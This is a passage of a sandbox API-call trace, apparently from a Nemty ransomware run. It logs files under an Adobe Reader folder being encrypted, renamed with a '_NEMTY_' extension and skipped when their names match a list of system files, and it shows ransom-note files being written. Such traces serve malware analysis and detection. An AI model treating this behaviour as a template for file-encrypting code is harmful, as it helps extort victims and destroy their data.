12 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.991] Sleep (dwMilliseconds=0x5) [0173.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ac39570, dwHighDateTime=0x1d561e8)) [0173.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ac39570, dwHighDateTime=0x1d561e8)) [0173.002] GetLastError () returned 0xb7 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.002] GetLastError () returned 0xb7 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mDXoqUm2/oxx65UwLm5npUMxknuNGTRytA1uqelCEfuTgNsrFs+yc0MpKgF/1MOs\r\nrLnLxtdkxDC2ttSR/4i6L0GQ4p+8kXbcRx6FuQYGRugX1n2dzDxkcINWU6z+oDfl\r\nAcWGyRpi9HBlTRetvL9N6m6qcPQdQz9n6bN61Wn+5QjcqZTybcb8bWqhDmhmfvn0\r\nFpelGvpGHsX4MHtoA54LxM8hxejh21N6OfLF5TCywrNScG82TmyXC+7/W8ipPycK\r\nz5fWYnos+0zfPXpoIFdprh+lWLUQIbcA3upOOQ33ArfBsC3ONFsBOFI4uDIuraYh\r\nbGI0vuiNtZU5HbxguweNrA==\r\n", pcchString=0x653e5dc) returned 1 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.003] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=49800) returned 1 [0173.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc280) returned 0x6352c48 [0173.003] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.003] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc280, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc280, lpOverlapped=0x0) returned 1 [0173.008] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.008] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc280, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc280, lpOverlapped=0x0) returned 1 [0173.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.008] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=49800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc288 [0173.008] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.008] CloseHandle (hObject=0x3b0) returned 1 [0173.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.009] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html._nemty_kgobjgd_")) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.009] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1abed2b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1abed2b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac13410, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.009] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.010] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.011] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1abed2b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1abed2b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac13410, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.011] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.011] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2=".") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="..") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="...") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="windows") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="$RECYCLE.BIN") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="rsa") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="NTDETECT.COM") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="ntldr") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="MSDOS.SYS") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="IO.SYS") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="AUTOEXEC.BAT") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="ntuser.dat") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="desktop.ini") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="CONFIG.SYS") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="RECYCLER") returned -1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="BOOTSECT.BAK") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="bootmgr") returned 1 [0173.011] lstrcmpiW (lpString1="NOR", lpString2="programdata") returned -1 [0173.012] lstrcmpiW (lpString1="NOR", lpString2="appdata") returned 1 [0173.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0173.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.013] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.013] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.013] CloseHandle (hObject=0x254) returned 1 [0173.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: 